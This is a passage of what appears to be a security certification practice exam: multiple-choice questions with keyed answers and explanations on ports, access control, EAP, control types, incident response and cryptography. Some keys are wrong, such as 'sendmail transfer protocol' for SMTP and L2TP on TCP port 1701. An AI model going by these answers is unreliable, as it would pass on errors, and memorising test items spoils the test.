OBJ-4.2: LDAP can be used for single sign-on but is not a shared authentication protocol. OpenID, OAuth, and Facebook Connect are all shared authentication protocols. Open ID Connect (OIDC) is an authentication protocol that can be implemented as special types of OAuth flows with precisely defined token fields. OAuth is designed to facilitate the sharing of information (resources) within a user profile between sites.
Your firewall is blocking outbound email traffic that is attempting to be sent. Which port should you verify is set to ALLOW in the firewall to ensure your emails are being sent?
80
25
143
22
25
OBJ-2.6: Email servers rely on port 25 to send emails out of the network. Port 25 must be set to OPEN or ALLOW in the firewall in order for SMTP (sendmail transfer protocol) to function properly. Port 22 is SSH, Port 80 is HTTP, and Port 143 is IMAP.
Which of the following access control models enables a person who creates or owns objects to define permissions to access those objects?
Rule-based access control model
Role-based access control model
Discretionary access control model
Mandatory access control model
Discretionary access control model
Correct Answer:
Discretionary access control enables a user who has created or owns an object, such as a file or folder, the discretion to assign permissions for that object to anyone they choose.
Incorrect Answers:
Mandatory access control models use labels and security clearances to grant access to objects.
Rule-based access control models use a specific set of rules that control the interaction between users and objects.
Role-based access control models use defined roles with specific rights and permissions assigned to those roles to control access to objects.
What is the biggest difference between EAP-TLS and EAP-TTLS?
EAP-TLS can use unsigned certifcates; EAP-TTLS must have third-party signed certificates.
EAP-TTLS needs server and client certifcates; EAP-TLS only needs server certifcates.
EAP-TLS needs server and client certifcates; EAP-TTLS only needs server certifcates.
EAP-TTLS can use unsigned certifcates; EAP-TLS must have third-party signed certificates.
EAP-TLS needs server and client certifcates; EAP-TTLS only needs server certifcates.
Correct Answer:
EAP-TLS needs server and client certifcates; EAP-TTLS only needs server certifcates.
Incorrect Answers:
The EAP standard does not define the use of signed or unsigned certificates, although most implementations require signed certificates.
Which of the following types of network-connected systems can manage heating, ventilation, and air-conditioning controls?
Minicomputers
Embedded hosts
Supervisory control and data acquisition
Mainframes
Supervisory control and data acquisition
Correct Answer:
Supervisory control and data acquisition (SCADA) systems are used to control and manage heating, ventilation, air-conditioning, and other types of industrial and environmental systems.
Incorrect Answers:
Minicomputers are antiquated computers that performed advanced tasks in the place of mainframe systems and are no longer widely in use.
Although some SCADA systems could be embedded, embedded hosts normally refer to systems that have operating systems burned into their computer chips.
Mainframe systems normally do not control industrial types of systems, such as heating, ventilation, and air-conditioning.
If a person knows a control exists, and this control keeps him or her from performing a malicious act, what type of control would this be classified as?
Preventative control
Compensating control
Corrective control
Deterrent control
Deterrent control
Correct Answer:
A deterrent control keeps someone from performing a malicious act, provided that he or she knows the control is there and is aware of the consequences for violating it.
Incorrect Answers:
The difference between a deterrent control and a preventive control is that it is necessary for a potential attacker to have knowledge of the deterrent control for it to be effective. Users do not have to have knowledge of a preventative control for it to function.
A corrective control is used to correct a condition when there is either no control at all, or when the existing control is ineffective. Normally, a corrective control is temporary until a more permanent solution is put into place.
A compensating control assists and mitigates the risk when an existing control is unable to do so.
Risk assessment means evaluating which of the following elements? (Choose two.)
Impact
Threat
Vulnerability
Probability
Impact, Probability
Correct Answers:
Probability and impact values are evaluated and assessed during a risk assessment.
Incorrect Answers:
Threats and vulnerabilities do not have defined values.
What type of file, often sent with an e-mail message, can contain malicious code that can be downloaded and executed on a client’s computer?
Cookie
Cross-site script
HTML attachment
Locally shared object
HTML attachment
Correct Answer:
Any form of attachment is a risk. An HTML attachment is basically an HTML file that comes attached to an e-mail message. When a user clicks this attachment, it automatically spawns a browser session and could connect to a malicious Web site. Once the user is connected to the site, malicious code can be downloaded onto the user’s browser.
Incorrect Answers:
Neither cookies, locally shared objects, nor cross-site scripts are attached to e-mail messages.
Which of the following is a form of intentional interference with a wireless network?
SSID cloaking
MAC spoofing
Evil twin
Jamming
Jamming
Correct Answer:
Jamming is an intentional interference with the signal of a wireless network. It is often part of a DoS attack.
Incorrect Answers:
An evil twin attack is a rogue wireless access point set up to be nearly identical to a legitimate access point.
SSID cloaking is a weak security measure designed to hide the broadcasting of a wireless network’s service set identifier.
MAC spoofing is an attempt to impersonate another host by using its MAC address.
Which of the following is an older form of attack where a malicious/compromised Web site places invisible controls on a page, giving users the impression they are clicking some safe item that actually is an active control for something malicious?
Buffer overflow
Man-in-the-browser
Clickjacking
Header manipulation
Clickjacking
Correct Answer:
Clickjacking is almost never seen anymore as it’s easy to detect this type of attack.
incorrect Answers:
Header manipulation means to add malicious information to HTTP headers.
A man-in-the-browser attack means to add malicious information or code, often by using a Trojan horse.
Buffer overflows attempt to access privilege escalation by forcing a buffer to cause an error.
Which of the following ports would be most likely to allow secure remote access into a system within a data center?
TCP port 1701
TCP port 443
UDP port 53
UDP port 123
TCP port 1701
Correct Answer:
L2TP aligns to TCP port 1701, allowing secure remote access to a system through a VPN connection.
Incorrect Answer:
UDP port 53 aligns to the Domain Name Service (DNS), UDP port 123 is used by Network Time Protocol (NTP) services, and TCP port 443 is used by HTTP over SSL.
Which of the following formal management efforts is designed to remediate security flaws discovered in applications and operating systems?
Account management
Change management
Patch management
Upgrade management
Patch management
Correct Answer:
Patch management is the formal effort designed to remediate vulnerabilities and other software flaws on a regular basis.
Incorrect Answers:
Managing upgrades is part of a formal change and configuration management process.
Account management is the process of provisioning and maintaining user accounts on the system.
Change management is a formalized process that involves both long-term and short-term infrastructure changes, as well as configuration changes to hosts and networks.
Which of the following types of public key cryptography uses a web of trust model?
DHE
PGP
RSA
AES
PGP
Correct Answer:
Pretty good privacy, or PGP, is commonly used between individuals or small groups of people, and it normally does not require a public key infrastructure. It uses a web of trust model, which means that each individual has to be able to trust every other individual who uses PGP to encrypt and decrypt data sent and received by them.
Incorrect Answers:
RSA is the de-facto key generation protocol used in public key cryptography, and it is normally used in a public key infrastructure type of environment.
Diffie-Hellman Exchange (DHE) is a key negotiation and agreement protocol that is used to exchange keys and establish a secure communications session.
AES is a symmetric key protocol not used in public key cryptography.
Which of the following is generally a script planted by a disgruntled employee or other malicious actor that is set to execute at a certain time?
Trojan horse
Logic bomb
Virus
Adware
Logic bomb
Correct Answer:
A logic bomb is simply a script that is set to execute at a certain time. Logic bombs are usually created by rogue administrators or disgruntled employees.
Incorrect Answers:
A virus is a piece of malicious software that must be propagated through a definite user action.
A Trojan horse is a piece of software that seems to be of value to the user, but in reality is malware.
Adware is usually annoying advertisements that come in the form of pop-up messages in a user?s browser.
Which of the following are typically created for a single Web browsing session and are generally not carried across different sessions?
Flash cookies
Persistent cookies
Session cookies
Locally shared objects
Session cookies
Correct Answer:
Session cookies are used for a single Web browsing session only and are generally not carried across Web sessions.
Incorrect Answers:
Persistent cookies are saved and used between various Web sessions.
Locally shared objects, also called flash cookies, are used for Web sites that use Adobe Flash content, and they can be persistent.
Which of the following is normally required to convert and read coded messages?
Asymmetric key
Algorithm
Codebook
Symmetric key
Codebook
Correct Answer:
Codes are representations of an entire phrase or sentence, where ciphers are encrypted on a character-by-character basis. A codebook is needed to translate coded phrases into their true plaintext meanings.
Incorrect Answers:
A symmetric key is used to encrypt ciphers, not codes, as are algorithms and asymmetric keys.
An attack in which an attacker attempts to disconnect a victim?s wireless host from its access point is called a(n) __________.
Deauthentication attack
Initialization vector attack
Replay attack
Spoofing
Deauthentication attack
Correct Answer:
A deauthentication attack involves sending specially-crafted traffic to both a wireless client and an access point, in the hopes of causing them to deauthenticate with each other and disconnect.
Incorrect Answers:
A spoofing attack involves impersonating a wireless client or access point, either through its IP or MAC address.
A replay attack involves the reuse of intercepted non-secure credentials to gain access to a system or network.
Initialization vector (IV) attacks involve attempting to break WEP keys by targeting their weak IVs.
Which of the following are true statements regarding the relationships of functionality, security, and available resources? (Choose two.)
As resources decrease, both functionality and security decrease.
As functionality increases, security increases.
As security increases, functionality decreases.
As resources increase, security decreases but functionality decreases.
As resources decrease, both functionality and security decrease.
As security increases, functionality decreases.
Correct Answers:
The relationship between security and functionality is inversely proportional. As one increases, the other decreases. The relationship between resources and both security and functionality is directly proportional. As resources increase, so do both functionality and security. If resources decrease, so do functionality and security.
Incorrect Answers:
If functionality increases, security generally decreases.
If resources increase, both security and functionality increase as well.
Which of the following is a point-in-time backup of certain key configuration settings of a virtual machine, allowing the VM to be restored back to that point in time if it suffers a crash or other issue?
Differential backup
System state backup
Snapshot
Incremental backup
Snapshot
Correct Answer:
A snapshot is a quick backup of critical configuration files, used by the hypervisor to restore the virtual machine back to its point-in-time status should it become unstable or suffer any other issues.
Incorrect Answers:
Differential and incremental backups apply to entire systems and are used to back up only files that have changed since the last full backup.
The system state backup is a Microsoft Windows type of backup that backs up critical files used by the operating system to restore it in the event of a system crash or other issue.
Virtual machines can make use of all of these other types of backups, but they are not used by the hypervisor to restore the VM itself.
Which of the following processes is concerned with validating credentials?
Accountability
Authorization
Auditing
Authentication
Authentication
Correct Answer:
Authentication is the process of validating that a user?s credentials are authentic, after the user has presented them through the identification process.
Incorrect Answers:
Authorization is the process of controlling access to resources through methods that include permissions, rights, and privileges.
Auditing is the process of reviewing logs and other audit trails to determine what actions have been performed on systems and data.
Accountability uses auditing to ensure that users are traced to and held responsible for their actions.
What is the second step in the incident response life cycle?
Detection and analysis
Containment, eradication, and recovery
Preparation
Post-incident activity
Detection and analysis
Correct Answer:
Detection and analysis is the second step of the incident response life cycle.
Incorrect Answers:
In order, the steps of the incident response life cycle are preparation; detection and analysis; containment, eradication, and recovery; and post-incident activity.
All of the following are considered duties of a first responder to an incident, except:
Notifying the incident response team
Notifying and coordinating with senior management and law enforcement officials
Secure the scene
Determining the initial scope and impact of the incident
Notifying and coordinating with senior management and law enforcement officials
Correct Answer:
Notifying and coordinating with senior management and law enforcement officials is normally the job of a senior leader within the incident response team.
Incorrect Answers:
The primary job of a first responder is to secure the scene. They are also responsible for notifying the incident response team and initially determining the scope, seriousness, and impact of the incident.
Which of the following is the simplest form of disaster recovery exercise?
Walkthrough test
Full-scale test
Documentation review
Tabletop exercise
Documentation review
Correct Answer:
The documentation review is the simplest form of test. In this type of test, the business continuity plan, disaster recovery plan, and associated documents are reviewed by relevant personnel including managers, recovery team members, and anyone else who may have responsibilities directly affecting plans.
Incorrect Answers:
A tabletop exercise is a type of group review.
In a full-scale test, all personnel are usually involved and may actually conduct activities as they would during a real incident. This type of test is more complex and normally requires extensive resources, such as people and equipment, so it is typically conducted infrequently.
In a walkthrough test, team members go through the motions of fulfilling the responsibilities and conducting the activities required during an incident or disaster.
Which of the following is a key agreement protocol used in public key cryptography?
SHA-2
RSA
ECDH
AES
ECDH
Correct Answer:
Elliptic Curve Diffie-Hellman (ECDH) is a key exchange protocol used in public key cryptography. It is used to negotiate, agree upon, and establish a secure session between two parties.
Incorrect Answers:
RSA (Rivest-Shamir-Adleman) is the most common public-private key generation algorithm used in public key cryptography. It is used to generate a public and private key pair.
AES is the Advanced Encryption Standard, and it is not used in public key cryptography; it is a symmetric key cryptography algorithm.
SHA-2 is the second iteration of the Secure Hashing Algorithm and is used to generate message digests for plaintext. It is not used in public key cryptography to exchange keys or establish secure sessions.
